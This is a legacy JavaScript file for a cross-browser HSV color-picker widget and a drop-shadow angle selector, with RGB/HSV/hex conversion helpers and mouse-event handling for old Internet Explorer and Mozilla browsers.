// global variables used for color selects

var element_click = false;
var element_x = 0;
var element_y = 0;
var mouse_x;
var mouse_y;

var color_selects = new Array(0);
var scrolling = true;

function set_scrolling() {
  //alert('(set_scrolling)');
  scrolling = true;

  //window.status = '(scrolling!)'; 
  //scrolling = true;
}
////////////////////////////////////////////////////////////////////////////////
function XBrowserAddHandler(target,eventName,handlerName) { 
  if ( target.addEventListener ) { 
    target.addEventListener(eventName, function(e){target[handlerName](e);}, false);
  } else if ( target.attachEvent ) { 
    target.attachEvent("on" + eventName, function(e){target[handlerName](e);});
  } else { 
    var originalHandler = target["on" + eventName]; 
    if ( originalHandler ) { 
      target["on" + eventName] = function(e){originalHandler(e);target[handlerName](e);}; 
    } else { 
      target["on" + eventName] = target[handlerName]; 
    } 
  } 
}
////////////////////////////////////////////////////////////////////////////////
function generic_h_select_box_mousedown() { 
  var id = this.id.match(/(.+?)_/);
  id = RegExp.$1;
  var eval_text = id+".h_select_box_mousedown();";
  eval(eval_text);
}
////////////////////////////////////////////////////////////////////////////////
function generic_h_select_box_mouseup() {

  var id="";
  if (this.id) id = this.id;

  var id = this.id.match(/(.+?)_/);
  id = RegExp.$1;
  var eval_text = id+".h_select_box_mouseup();";
  eval(eval_text);
}
////////////////////////////////////////////////////////////////////////////////
function generic_sv_select_box_mousedown() {
  var id = this.id.match(/(.+?)_/);
  id = RegExp.$1;
  var eval_text = id+".sv_select_box_mousedown();";
  eval(eval_text);
}
////////////////////////////////////////////////////////////////////////////////
function generic_sv_select_box_mouseup() {
  var id = this.id.match(/(.+?)_/);
  id = RegExp.$1;
  var eval_text = id+".sv_select_box_mouseup();";
  eval(eval_text);
}
////////////////////////////////////////////////////////////////////////////////
function generic_ok_button_click() {
  var id = this.id.match(/(.+?)_/);
  id = RegExp.$1;
  var eval_text = id+".hide();";
  eval(eval_text);
}
////////////////////////////////////////////////////////////////////////////////
function color_select(i, init_color) {

  // current mouse position
  //this.mouse_x=0;
  //this.mouse_y=0;
  
  this.id = i;
  // current control position
  this.sv_image="";
  this.x=0;
  this.y=0;
  this.hexcolor=""
  
  // map methods
  
  // Time to get funky with the DOM.  Unh.

  // Create a DOM element to hold the color select
  this.color_select_box = document.createElement('div');     // the box around the entire color select
  this.color_select_box.id = this.id+"_color_select_box";
  this.color_select_box.className = "color_select_box";
  this.color_select_box.style.display = "none";
  
  //document.body.appendChild(this.color_select_box);
  document.getElementsByTagName("body").item(0).appendChild(this.color_select_box);
  
  // horizontal & vertical s-v cursors
  this.sv_crosshair_horiz_cursor = document.createElement('div');
  this.sv_crosshair_horiz_cursor.id = this.id+"_sv_crosshair_horiz_cursor";
  this.sv_crosshair_horiz_cursor.className = "sv_crosshair_horiz_cursor";
  this.sv_crosshair_horiz_cursor.style.visibility = "hidden";
  this.color_select_box.appendChild(this.sv_crosshair_horiz_cursor);
  
  this.sv_crosshair_vert_cursor = document.createElement('div');
  this.sv_crosshair_vert_cursor.id = this.id+"_sv_crosshair_vert_cursor";
  this.sv_crosshair_vert_cursor.className = "sv_crosshair_vert_cursor";
  this.sv_crosshair_vert_cursor.style.visibility = "hidden";
  this.color_select_box.appendChild(this.sv_crosshair_vert_cursor);

  // center s-v cursor
  this.sv_crosshair_center_cursor = document.createElement('div');
  this.sv_crosshair_center_cursor.id = this.id+"_sv_crosshair_center_cursor";
  this.sv_crosshair_center_cursor.className = "sv_crosshair_center_cursor";
  this.sv_crosshair_center_cursor.style.visibility = "hidden";
  this.color_select_box.appendChild(this.sv_crosshair_center_cursor);
  
  this.sv_select_box_bg = document.createElement('div');
  this.sv_select_box_bg.id = this.id+"_sv_select_box_bg";
  this.sv_select_box_bg.className = "sv_select_box_bg";
  this.color_select_box.appendChild(this.sv_select_box_bg);
  this.sv_select_box_bg.style.height="256px";
  this.sv_select_box_bg.style.width="256px";
  
  this.sv_select_box = document.createElement('div');
  this.sv_select_box.id = this.id+"_sv_select_box";
  this.sv_select_box.className = "sv_select_box";
  this.sv_select_box_bg.appendChild(this.sv_select_box);
  this.sv_select_box.style.height="256px";
  this.sv_select_box.style.width="256px";
  this.sv_select_box.mousedownHandler = generic_sv_select_box_mousedown;
  this.sv_select_box.mouseupHandler = generic_sv_select_box_mouseup;
  XBrowserAddHandler(this.sv_select_box,"mousedown","mousedownHandler");
  XBrowserAddHandler(this.sv_select_box,"mouseup","mouseupHandler");
  
  this.h_select_box = document.createElement('div');
  this.h_select_box.id = this.id+"_h_select_box";
  this.h_select_box.className = "h_select_box";
  this.h_select_box.mousedownHandler = generic_h_select_box_mousedown;
  this.h_select_box.mouseupHandler = generic_h_select_box_mouseup;
  XBrowserAddHandler(this.h_select_box,"mousedown","mousedownHandler");
  XBrowserAddHandler(this.h_select_box,"mouseup","mouseupHandler");
  this.color_select_box.appendChild(this.h_select_box);
  
  this.color_box = document.createElement('div');
  this.color_box.id = this.id+"_color_box";
  this.color_box.className = "color_box";
  this.color_select_box.appendChild(this.color_box);
  
  this.color_value_box = document.createElement('div');
  this.color_value_box.id = this.id+"_color_value_box";
  this.color_value_box.className = "color_value_box";
  this.color_box.appendChild(this.color_value_box);
  
  // ok button
  this.ok_button = document.createElement('div');
  this.ok_button.id = this.id+"_ok_button";
  this.ok_button.className = "ok_button";
  this.color_select_box.appendChild(this.ok_button);
  this.ok_button.innerHTML = "OK";
  
  this.ok_button.mouseupHandler = generic_ok_button_click;
  XBrowserAddHandler(this.ok_button,"mouseup","mouseupHandler");
  
  // hue cursor
  this.hue_cursor = document.createElement('div');
  this.hue_cursor.id = this.id+"_hue_cursor";
  this.hue_cursor.className = "hue_cursor";
  this.h_select_box.appendChild(this.hue_cursor);
  
//  this.color_select_box = new Object;     // the box around the entire color select
//  this.h_select_box = new Object;         // the box around the hue control
//  this.sv_select_box = new Object;        // the box around the sat-val control
//  this.sv_select_box_bg = new Object      // the box that holds the background of the sat-val control
//  this.color_box = new Object             // the box that holds the background of the sat-val control
//  this.color_value_box = new Object       // the box that holds the background of the sat-val control
  

  // references to cursors
//  this.hue_cursor = new Object;         
//  this.sv_crosshair_horiz_cursor = new Object;
//  this.sv_crosshair_vert_cursor = new Object;

  // used for mapping between mouse positions and color parameters
  this.hue_offset=0;
  this.sat_offset=0;
  this.val_offset=0;
  this.color_select_bounding_box = new Array(4);    // upper-left corner x, upper-left corner y, width, height

  // state information for the controls
  this.initialized=false;
  this.active=false;
  //alert('this should appear only twice! ' + this.id);
  this.h_select_box_focus=false;
  this.sv_select_box_focus=false;

    
  // function to call each time the color is updated
  this.change_update_function = this.id + "_change_update";
  
  this.hide_update_function = this.id + "_hide_update";
 
////////////////////////////////////////////////////////////////////////////////
// Position of the box.
  this.attach_to_element = function(e)
  {
//  this.x = docjslib_getRealLeft(e);
//  this.y = docjslib_getRealTop(e) + 22;   // clumsy hack.  Won't work for elements higher than 22 px 
    this.x = docjslib_getRealLeft(e)-220;	// Inconsistent position on larger page.
    this.y = docjslib_getRealTop(e)+22;		// Hard-coded (Make sure hosted page has enough length).
  }


  this.h_select_box_mousedown = function()
  {
    this.h_select_box_focus = true;
    window.status='(h_select_box_mousedown) ('+mouse_x+','+mouse_y+') ' + this.id + " " + this.h_select_box_focus;
    this.hue_cursor_to_color();
    this.sv_update();
    color_select_update();
  }

  this.h_select_box_mouseup = function()
  {
    this.h_select_box_focus = false;
    //color_select_update(event);
  }

  this.sv_select_box_mousedown = function()
  {
    this.sv_select_box_focus = true;
    window.status='(sv_select_box_mousedown) ('+mouse_x+','+mouse_y+') ' + this.id + " " + this.sv_select_box_focus;
    this.sv_update();
    color_select_update();
  }

  this.sv_select_box_mouseup = function()
  {
    this.sv_select_box_focus = false;
  }

  // these functions are tied to events (usually).
  // they are the entry points for whatever color_select does

  this.show = function()
  {
    // alert ("show color select");
    this.color_select_bounding_box = new Array;
    
    // in mozilla, insert the saturation-value background image
    if (!document.all && this.sv_image)
      this.sv_select_box.style.backgroundImage = "url('"+this.sv_image+"')";

    // make them visible first so we can substract the position of 
    // offsetParent 
    this.color_select_box.style.visibility = "visible";
    this.color_select_box.style.display = "block";   

    this.color_select_box.style.position = "absolute";
    this.color_select_box.style.left = this.x-docjslib_getRealLeft(this.color_select_box.offsetParent)+"px";
	// Adjust for no border in style sheet.
    //this.color_select_box.style.left = this.x-docjslib_getRealLeft(this.color_select_box.offsetParent)-2+"px";
    this.color_select_box.style.top = this.y - docjslib_getRealTop(this.color_select_box.offsetParent) + "px";

    
    this.sat_offset = docjslib_getRealTop(this.sv_select_box);
    this.val_offset = docjslib_getRealLeft(this.sv_select_box);
    this.hue_offset = docjslib_getRealTop(this.h_select_box);
  
    this.color_select_bounding_box[0]=this.x;
    this.color_select_bounding_box[1]=this.y;
    this.color_select_bounding_box[2]=300;
    this.color_select_bounding_box[3]=300;
    
    this.sv_cursor_draw();
    
    // position hue cursor
    this.hue_cursor.style.left = docjslib_getRealLeft(this.h_select_box) - docjslib_getRealLeft(this.color_select_box)-1;
    this.hue_cursor_draw();
    
    this.initialized=true;
    this.active=true;
    if (!this.color_select_box.style)
      alert ("color select box style not found!");
    
    this.update_color_box();
    //alert ("new hsv: "+ this.hue_cursor_pos +" "+this.sat_cursor_pos+" "+this.val_cursor_pos);
    //alert (this.x + " " + this.y);
  }
  
  this.hide = function()
  {
    if (this.color_select_box)
      this.color_select_box.style.display = "none";
      
    this.active=false;
    this.unfocus();
    
    try {  // because the hide_update_function might not be defined
      if (self[this.hide_update_function]) 
        setTimeout(this.hide_update_function+"(\""+this.hexcolor+"\")",100);
    } catch (e) {}

  }
  
  
  this.toggle_color_select = function()
  {
    if (this.active)
      this.hide();
    else
      this.show();
  }

      
  this.select_disable = function() 
  {
    // This function is IE-only!  Moz doesn't need it, and ignores it.
    // When the mouse is dragged, IE attempts to select the DOM objects, 
    // which would be ok, but IE applies a dark highlight to the selection.  
    // This makes the color select look flickery and bad.
    // The solution is to disable IE's selection event when it occurs when the mouse is over
    // the color select.
    
    // But that's not quite enough.  We *do* want to be able to select the #FFFFF hex
    // value.  So we only disable IE selection when the mouse is moving the s-v or hue
    // cursor.
          
    if (this.h_select_box_focus || this.sv_select_box_focus)
      return true;
    else
      return false;
  }

  this.hue_cursor_to_color = function() 
  {
    //alert(this.h_select_box_focus);
    // map from the mouse position to the new hue value
    
    if (!this.h_select_box_focus) return;
    
    var new_hue_cursor_pos = mouse_y - this.hue_offset;
    //alert(new_hue_cursor_pos);
    
    // keep the value sensible
    if (new_hue_cursor_pos > 255)
      new_hue_cursor_pos=255;
    if (new_hue_cursor_pos < 0)
      new_hue_cursor_pos=0;
  
    this.hue_cursor_pos = new_hue_cursor_pos;
    this.hue_value = 360 - new_hue_cursor_pos/255*360;
    
    this.hue_cursor_draw();
    this.cursor_to_color();
      
  }
    
  this.sv_update = function() 
  {
    // map from the mouse position to the new s-v values
    
    // might be possible to get rid of this
    if (!this.sv_select_box_focus) return;
    
    var new_sat_cursor_pos = mouse_y - this.sat_offset;
    var new_val_cursor_pos = mouse_x - this.val_offset;
    
    // keep the values sensible
    if (new_sat_cursor_pos > 255)
      new_sat_cursor_pos = 255;
    if (new_sat_cursor_pos < 0)
      new_sat_cursor_pos = 0;
      
    if (new_val_cursor_pos > 255)
      new_val_cursor_pos = 255;
    if (new_val_cursor_pos < 0)
      new_val_cursor_pos = 0;
    
    this.sat_cursor_pos = new_sat_cursor_pos;
    this.val_cursor_pos = new_val_cursor_pos;
    //window.status = this.hue_cursor_pos + ","+this.sat_cursor_pos + ","+this.val_cursor_pos +"("+this.sat_offset+ ","+this.val_offset+")";
    
    this.sv_cursor_draw();
    this.cursor_to_color();
    
    return;
  }

  this.hue_cursor_draw = function()
  {
    if (!this.hue_cursor.style) return;
    if (!this.sv_select_box_bg.style) return;
  
    this.hue_cursor.style.top = this.hue_cursor_pos+1 + "px";

    this.hue_cursor.style.visibility = "visible";
    //this.cursor_to_color();
    
    // update sv_select_box background
    var hsvcolor = new Array(this.hue_value,1,255);
    var rgbcolor = hsv2rgb(hsvcolor);
    var new_color = "rgb("+rgbcolor[0]+", "+rgbcolor[1]+", "+rgbcolor[2]+")";
    this.sv_select_box_bg.style.background = new_color;
    //window.status="hue cursor draw! " + this.hue_cursor.style.left;
  }
  
  
  
  this.sv_cursor_draw = function()
  {
    if (!this.sv_crosshair_horiz_cursor.style) return;
    if (!this.sv_crosshair_vert_cursor.style) return;
    
    // this is sort of a seat-of-the-pants algorithm for keeping the cursor
    // visible against the s-v background.  There are probably better methods.
    var cursor_color=this.val_cursor_pos;
    if (cursor_color==0) cursor_color=.001;
    cursor_color = Math.round(255/(cursor_color/30));
    if (cursor_color > 255) cursor_color = 255;
    if (cursor_color < 0) cursor_color = 0;
    
    this.sv_crosshair_vert_cursor.style.backgroundColor = "rgb("+cursor_color+","+cursor_color+","+cursor_color+")";
    this.sv_crosshair_horiz_cursor.style.borderColor = "rgb("+cursor_color+","+cursor_color+","+cursor_color+")";
    
    // place the s-v cursors.
    this.sv_crosshair_horiz_cursor.style.top = this.sat_cursor_pos+3 + "px";
    this.sv_crosshair_horiz_cursor.style.left = 2 + "px";
    this.sv_crosshair_horiz_cursor.style.visibility = "visible";
  
    this.sv_crosshair_vert_cursor.style.left = this.val_cursor_pos+3 + "px";
    this.sv_crosshair_vert_cursor.style.visibility = "visible";
    
    //this.cursor_to_color();
    window.status = (this.sat_cursor_pos+3)+", "+(this.val_cursor_pos+3);
  
  }
    
  
  
  this.cursor_to_color = function()
  {
    //calculate real h, s & v
    this.hue_value = ((255-this.hue_cursor_pos)/255*360);
    this.sat_value = (255 - this.sat_cursor_pos)/255;
    //this.sat_value = this.sat_cursor_pos;
    this.val_value = this.val_cursor_pos;
    //alert ("cursor_to_color: "+ this.hue_value +" "+this.sat_value+" "+this.val_value);

    this.update_color_box();
  }
  
  
  this.unfocus = function() 
  {
    //this.h_select_box_focus=false;
    this.sv_select_box_focus=false;
  }


  this.setrgb = function(c)
  {
    //  hsv:  h = 0-360    s = 0 (gray) - 1.0 (pure color)   v = 0 (black) to 255 (white)
    if (!c.match(/#([0-9]|[A-F]){6}/i))  // valid hex #color?
      return false;
      
    var rgb = hex2rgb(c.substring(1,7));
    //alert ("hex -> rgb: "+ rgb[0] +" "+rgb[1]+" "+rgb[2]);
    
    hsv = rgb2hsv(rgb);
    
    //alert ("rgb -> hsv: "+ hsv[0] +" "+hsv[1]+" "+hsv[2]);
    
    this.sethsv(hsv[0],hsv[1],hsv[2]);
    
    //rgb_again = hsv2rgb(hsv);
    //alert ("hex -> rgb: "+ rgb[0] +" "+rgb[1]+" "+rgb[2]+
    //       "\nrgb -> hsv: "+ hsv[0] +" "+hsv[1]+" "+hsv[2]+
    //       "\nrgb -> hsv -> rgb: "+ rgb_again[0] +" "+rgb_again[1]+" "+rgb_again[2]);
    return true;
  }
  
  
  this.sethsv = function(h, s, v)
  {
    var hsvcolor;
    
    this.hue_value = h;  
    this.sat_value = s;  
    this.val_value = v;  
   
    this.hue_cursor_pos = (360 - this.hue_value)/360*255;
    this.sat_cursor_pos = Math.round(255 - 255*this.sat_value);
    this.val_cursor_pos = this.val_value;
    
    this.update_color_box();    
  }
  
  
  this.update_color_box = function()
  {
    var hsvcolor = new Array(this.hue_value,this.sat_value,this.val_value);
    
    // make them into an rgb color
    var rgbcolor = hsv2rgb(hsvcolor);
    
    //rgbcolor[0] = Math.round(rgbcolor[0]/255*100);
    //rgbcolor[1] = Math.round(rgbcolor[1]/255*100);
    //rgbcolor[2] = Math.round(rgbcolor[2]/255*100);
    
    var new_color = "rgb("+rgbcolor[0]+","+rgbcolor[1]+","+rgbcolor[2]+")";
    //alert ("rgb: "+ rgbcolor[0] +" "+rgbcolor[1]+" "+rgbcolor[2]);
    
    
    // and in hex
    this.hexcolor = "#"+baseconverter(rgbcolor[0],10,16,2)+baseconverter(rgbcolor[1],10,16,2)+baseconverter(rgbcolor[2],10,16,2);
    
    try {  // because the change_update_function might not be defined
      if (self[this.change_update_function])
        setTimeout(this.change_update_function+"(\""+this.hexcolor+"\")",100);
     
    } catch (e) {}
    
    // display it!
    if (this.color_value_box)
      this.color_value_box.innerHTML = this.hexcolor;
    
    if (this.color_value_box.style)
      this.color_box.style.background = new_color;
  }
      
  // push the new color select object onto the
  // global array of color select objects.
  
  // for some reason, the array.push() method 
  // doesn't work with objects, only with primitives.
  
    // initial values
  if (init_color)
    this.setrgb(init_color)
  else
    this.setrgb("#ffffff");

  color_selects[color_selects.length] = this;
  
}
////////////////////////////////////////////////////////////////////////////////
function color_select_mousedown(event) {
  var cs_active = false;

  for (var l1=0;l1<color_selects.length;l1++)
  {
    var ob = color_selects[l1];
    if (!ob.active) continue;
    cs_active = true;
  
    // if the mousedown is outside the color_select_box, close it.
    if  (mouse_x < ob.color_select_bounding_box[0] ||
        mouse_y < ob.color_select_bounding_box[1] ||
        mouse_x > (ob.color_select_bounding_box[0]+ob.color_select_bounding_box[2]) ||
        mouse_y > (ob.color_select_bounding_box[1]+ob.color_select_bounding_box[3]))
    {
      //alert('(color_select_mousedown) about to hide!');
      //alert('scrolling: ' + scrolling);
      
      scrolling = false;
      setTimeout("color_select_hide("+l1+")",200);
    }
  }
  
  
  if (cs_active && event)
  {
    if (event.cancelBubble)
      event.cancelBubble = true;
    else
    {
	    if (event.stopPropagation) event.stopPropagation();
      if (event.preventDefault) event.preventDefault();
    }
  }
  
}
////////////////////////////////////////////////////////////////////////////////
function color_select_hide(num)
{
  if (!scrolling)
    color_selects[num].hide();
  else
    scrolling = false;
}
////////////////////////////////////////////////////////////////////////////////
function color_select_hideall()
{
  //alert("hiding all color selects!");
  for (var l1=0;l1<color_selects.length;l1++)
    color_selects[l1].hide();
}
////////////////////////////////////////////////////////////////////////////////
function color_select_mouseup() {
  //alert('(color_select_mouseup)');
  
  for (var l1=0;l1<color_selects.length;l1++)
  {
    ob=color_selects[l1];
    ob.unfocus();
    scrolling = false;
    // if the mouseup is outside the color_select_box, close it.
    //if  (mouse_x < ob.color_select_bounding_box[0] ||
    //    mouse_y < ob.color_select_bounding_box[1] ||
    //    mouse_x > (ob.color_select_bounding_box[0]+ob.color_select_bounding_box[2]) ||
    //    mouse_y > (ob.color_select_bounding_box[1]+ob.color_select_bounding_box[3]))
    //{
    //  ob.hide();
    //}
  }
}
////////////////////////////////////////////////////////////////////////////////
function get_mouse_coords(e) { 
	if (window.getSelection) {  // Moz
	  mouse_x=e.pageX;
	  mouse_y=e.pageY;
	} else if (document.selection && document.selection.createRange) { // IE
    /*
    if (document.documentElement) // IE 6 + XHTML doctype
    {
      mouse_x=window.event.clientX+document.documentElement.scrollLeft-4;
      mouse_y=window.event.clientY+document.documentElement.scrollTop-4;
    }
    else
    {
      mouse_x=window.event.clientX+document.body.scrollLeft-4;
      mouse_y=window.event.clientY+document.body.scrollTop-4;
    }
    */

    if (document.documentElement.scrollTop)   // Explorer 6 Strict
    {
      mouse_x = window.event.clientX + document.documentElement.scrollLeft - 4;
      mouse_y = window.event.clientY + document.documentElement.scrollTop - 4;
    }

    else if (document.body) // all other Explorers
    {
      mouse_x=window.event.clientX+document.body.scrollLeft-4;
      mouse_y=window.event.clientY+document.body.scrollTop-4;
    } 
    
    
	} else { // out of luck below v.4
		var str = "";
		  window.status="Sorry, event capture is not possible with your browser.";
		return;
	}
}
////////////////////////////////////////////////////////////////////////////////
function get_mouse_coords_old(e) { 
  if (window.event) // IE
  {
    mouse_x=window.event.clientX+document.body.scrollLeft;
    mouse_y=window.event.clientY+document.body.scrollTop;
  }
  else              // moz
  { 
    mouse_x=e.pageX;
    mouse_y=e.pageY;
  }
}
////////////////////////////////////////////////////////////////////////////////
function color_select_update(event) {
  var cs_active = false;

  //window.status = color_selects.length+" color selects";
  for (var l1=0;l1<color_selects.length;l1++)
  {
    ob = color_selects[l1];
    if (ob.active) cs_active = true;
    ob.sv_update();
    ob.hue_cursor_to_color();
  }
  
  if (event && cs_active)
  {
    if (event.cancelBubble)
      event.cancelBubble = true;
    else
    {
	    if (event.stopPropagation) event.stopPropagation();
      if (event.preventDefault) event.preventDefault();
    }
  }
}
////////////////////////////////////////////////////////////////////////////////
// below are miscellanous conversion functions.  Some of them 
// are modified versions of someone else's code.
function findowner(evt)
{
  if (evt.target)
    return evt.target;
  else if (evt.srcElement)
    return evt.srcElement;
  else
    return null;
}
////////////////////////////////////////////////////////////////////////////////
function baseconverter (number,ob,nb,desired_length) 
{
	// Created 1997 by Brian Risk.  http://members.aol.com/brianrisk
  number += "";  // convert to character, or toUpperCase will fail on some browsers
	number = number.toUpperCase();
	var list = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
	var dec = 0;
	for (var i = 0; i <=  number.length; i++) 
		dec += (list.indexOf(number.charAt(i))) * (Math.pow(ob , (number.length - i - 1)));
	number = "";
	var magnitude = Math.floor((Math.log(dec))/(Math.log(nb)));
	for (var i = magnitude; i >= 0; i--) 
  {
    //--  stupid nedit, thinks the decrement above is a html commment.
		var amount = Math.floor(dec/Math.pow(nb,i));
		number = number + list.charAt(amount); 
		dec -= amount*(Math.pow(nb,i));
	}
  
  var length=number.length;
  if (length<desired_length)
    for (var i=0;i<desired_length-length;i++)
      number = "0"+number;
  
	return number;
}
////////////////////////////////////////////////////////////////////////////////
function docjslib_getRealTop(imgElem) {
  yPos = 0;
  if (imgElem.offsetTop)
	yPos = imgElem.offsetTop;
  tempEl = imgElem.offsetParent;

  while (tempEl != null) {
    yPos += tempEl.offsetTop;
    tempEl = tempEl.offsetParent;
  }
  return yPos;
}

////////////////////////////////////////////////////////////////////////////////
function docjslib_getRealLeft(imgElem) {
  xPos = 0;
  if (imgElem.offsetLeft)
	  xPos = imgElem.offsetLeft;

  tempEl = imgElem.offsetParent;
    while (tempEl != null) {
      xPos += tempEl.offsetLeft;
      tempEl = tempEl.offsetParent;
    }
  return xPos;
}
////////////////////////////////////////////////////////////////////////////////
// RGB, each 0 to 255
//  hsv:  h = 0-360    s = 0 (gray) - 1.0 (pure color)   v = 0 (black) to 255 (white)
function rgb2hsv(rgb) {
  var r = rgb[0];
  var g = rgb[1];
  var b = rgb[2];

  var h;
  var s;
	var v = Math.max(Math.max(r, g), b);
	var min = Math.min(Math.min(r, g), b);
  var delta = v - min;

   // Calculate saturation: saturation is 0 if r, g and b are all 0
  if (v == 0)
    s = 0
  else 
    s = delta / v;
    
  if (s==0)
    h=0;  //achromatic.  no hue
  else
  {
    if (r==v)            // between yellow and magenta [degrees]
      h=60*(g-b)/delta;
    else if (g==v)       // between cyan and yellow
      h=120+60*(b-r)/delta;
    else if (b==v)       // between magenta and cyan
      h=240+60*(r-g)/delta;
  }  
  
  if (h<0)
    h+=360;
    
  return new Array(h,s,v);
}
////////////////////////////////////////////////////////////////////////////////
// RGB, each 0 to 255
//  hsv:  h = 0-360    s = 0 (gray) - 1.0 (pure color)   v = 0 (black) to 255 (white)
function hsv2rgb(hsv) {
  var h = hsv[0];
  var s = hsv[1];
  var v = hsv[2];
  
  var r;
  var g;
  var b;
  
  if (s==0) // achromatic (grey)
    return new Array(v,v,v);
  
  var htemp;
  
  if (h==360)
    htemp=0;
  else
    htemp=h;
    
  htemp=htemp/60;
  var i = Math.floor(htemp);   // integer <= h
  var f = htemp - i;           // fractional part of h

  var p = v * (1-s);
  var q = v * (1-(s*f));
  var t = v * (1-(s*(1-f)));
 
  if (i==0) {r=v;g=t;b=p;}
  if (i==1) {r=q;g=v;b=p;}
  if (i==2) {r=p;g=v;b=t;}
  if (i==3) {r=p;g=q;b=v;}
  if (i==4) {r=t;g=p;b=v;}
  if (i==5) {r=v;g=p;b=q;}

  r=Math.round(r);
  g=Math.round(g);
  b=Math.round(b);

  return new Array(r,g,b);

}
////////////////////////////////////////////////////////////////////////////////
function hex2rgb(h) {

  h = h.replace(/#/,'');
  // RGB, each 0 to 255
  var r = Math.round(parseInt(h.substring(0,2),16));
  var g = Math.round(parseInt(h.substring(2,4),16));
  var b = Math.round(parseInt(h.substring(4,6),16));
  //alert("hex2rgb: "+h+" "+r+" "+g+" "+b);

	var results = new Array(r,g,b);
  return results;
}
////////////////////////////////////////////////////////////////////////////////
function move_test()
{
  alert("move test");
}
////////////////////////////////////////////////////////////////////////////////
function color_select_unfocus()
{
  for (var l1=0;l1<color_selects.length;l1++)
  {
    ob=color_selects[l1];
    ob.unfocus();
  }
}
////////////////////////////////////////////////////////////////////////////////
function cs_select_disable()
{
  for (var l1=0;l1<color_selects.length;l1++)
  {
    ob=color_selects[l1];
    if (ob.select_disable())
      return false;
  }
}
////////////////////////////////////////////////////////////////////////////////
// this function returns the x, y position of a HTML element on a page.
// works in IE and Mozilla.
function getElementPosition (element)
{
	var x=0,y=0;
	while (element!=null){
		x+=element.offsetLeft-element.scrollLeft;
		y+=element.offsetTop-element.scrollTop;
		element=element.offsetParent;
	}

	return {x:x,y:y};	// Return local variable x in component x of structure ?
}
////////////////////////////////////////////////////////////////////////////////
// Browser compatible element getter
function getElement (id)
{
	if (document.all)
		return document.all[id];

	if (document.getElementById(id))
		return document.getElementById(id);

	return null;
}
////////////////////////////////////////////////////////////////////////////////
// generic display function
function findElement (id)
{
// Get the element by its id
	element = getElement (id);

// make sure that the element was found
	if (!element) return;

// get the object that will contain the x,y coordinates
// display the coordinates.

	position = getElementPosition (element);
	element_x= position.x;
	element_y= position.y;

//	return (x:position.x,y:position.y);
//	alert('x: ' + position.x + '\n\ny: ' + position.y);
}
////////////////////////////////////////////////////////////////////////////////
// Display the cursor for the selected angle (upper left corner is 0).
// Hardcoded relative to center of selector window (80,80)
// element_click == 0 is not accurate ?
//
function angle_select_update() {

	var obj;
	var angle, rangle;
	var x, y, d;
	var x0, y0;
	var cosa, sina;

	var IE = document.all?true:false

// The datatype is implied? (having the .x and .y components).
// Need to update the position of the element due to page resizing.
//	findElement ('ufshadow');

	x = mouse_x-element_x;
	y = mouse_y-element_y;

	if (x < 0 || x > 80 ||
		y < 0 || y > 80 ||
		element_click == false)
		return;

	x0 = x;
	y0 = y;

// Compute the lighting angle.
// Normalize x,y-coordinates to the center of the icon.

	x -= 40;
	y -= 40;
	y  = -y;

	rangle = (x) ? Math.atan(y/x) : 0;	// y is upside down.
	angle = rangle*180/Math.PI;			// Radians to degrees.
	angle = parseInt (angle);			// Convert to integer (from -90 to 90).

// Resolve for quadrant 1 and 3.

	if (angle > 0 && y < 0)
		angle += 180;

// Resolve for quadrant 2 and 4

	else if (angle < 0 && y > 0)
		angle += 180;

	else if (angle < 0)
		angle += 360;

// Resolve for 90 and 270.

	if (angle == 0 && x == 0)
		angle = (y > 0) ? 90 : 270;

// Resolve for 180.

	if (angle == 0 && x < 0)
		angle = 180;

// Display the light source angle in degrees (0-359).

	document.myform.ufdropangle.value = angle;

// Position the drop shadow accordingly to indicate direction (max d=15?).
// Hardcoded within -40 to 40 size.
// The shadow is on the opposite quadrant of the light source.
// if (d > 30) d = 30;					// Let the shadow get outside the CSS box.

	d = document.myform.ufdropdist.value;

	rangle = angle*Math.PI/180;			// Due to upside down conversion.
	cosa = Math.cos(rangle);
	sina = Math.sin(rangle);

	if (angle == 90) {
		cosa = 0.0;
		sina = 1.0;
	}

	x = 0-parseInt (d * cosa);
	y = 0+parseInt (d * sina);

	document.myform.ufxOffset.value = x;
	document.myform.ufyOffset.value = y;

	if (IE) {
		x -= 40;
		y -= 40;
	}

	if (document.getElementById) {
		obj = document.getElementById('ufshadow');
		obj.style.backgroundPosition = x + 'px ' + y + 'px';
	}

// Draw the vector direction.
//	jg.setColor ('#000000');
//	jg.drawLine (x0,y0,0,0); 
//	jg.paint();
}
////////////////////////////////////////////////////////////////////////////////
function angle_key_update() {
	var obj;
	var angle, rangle;
	var x, y, d;
	var cosa, sina;

	var IE = document.all?true:false
	angle = document.myform.ufdropangle.value;
	d = document.myform.ufdropdist.value;

	rangle = angle*Math.PI/180;			// Due to upside down conversion.
	cosa = Math.cos(rangle);
	sina = Math.sin(rangle);

	if (angle == 90) {
		cosa = 0.0;
		sina = 1.0;
	}

	x = 0-parseInt (d * cosa);
	y = 0+parseInt (d * sina);

	document.myform.ufxOffset.value = x;
	document.myform.ufyOffset.value = y;

	if (IE) {
		x -= 40;
		y -= 40;
	}

	if (document.getElementById) {
		obj = document.getElementById('ufshadow');
		obj.style.backgroundPosition = x + 'px ' + y + 'px';
	}
}
////////////////////////////////////////////////////////////////////////////////
// Draw the direction angle if mouse is down.
function angle_select_click () {
//	findElement ('ufshadow');
	element_click = true;
}

function angle_select_mousedown () {
	element_click = true;
}

function angle_select_mouseup () {
	element_click = false;
}
////////////////////////////////////////////////////////////////////////////////
// hook up the appropriate browser events.
if (document.attachEvent)                 // IE uses proprietary event model
{
  document.attachEvent('onmousedown',color_select_mousedown);
  document.attachEvent('onmousedown',angle_select_mousedown);

  document.attachEvent('onmouseup',color_select_mouseup);
  document.attachEvent('onmouseup',color_select_unfocus);
  document.attachEvent('onmouseup',angle_select_mouseup);

  document.attachEvent('onmousemove',get_mouse_coords);
  document.attachEvent('onmousemove',color_select_update);
  document.attachEvent('onmousemove',angle_select_update);

  document.attachEvent('onselectstart',cs_select_disable);  // this event is IE-only
  document.attachEvent('onscroll',set_scrolling);
}
else                                      // Moz uses W3C DOM event model
{
  document.addEventListener('scroll', set_scrolling, false);  
  document.addEventListener('resize',color_select_mousedown, false);

  document.addEventListener('mousedown', color_select_mousedown, false);
  document.addEventListener('mousedown', angle_select_mousedown, false);

  document.addEventListener('mouseup', color_select_mouseup, false);
  document.addEventListener('mouseup', angle_select_mouseup, false);

  document.addEventListener('mousemove', get_mouse_coords, false);
  document.addEventListener('mousemove', color_select_update, false);
  document.addEventListener('mousemove', angle_select_update, false);

  document.addEventListener('resize', color_select_hideall, false);
}

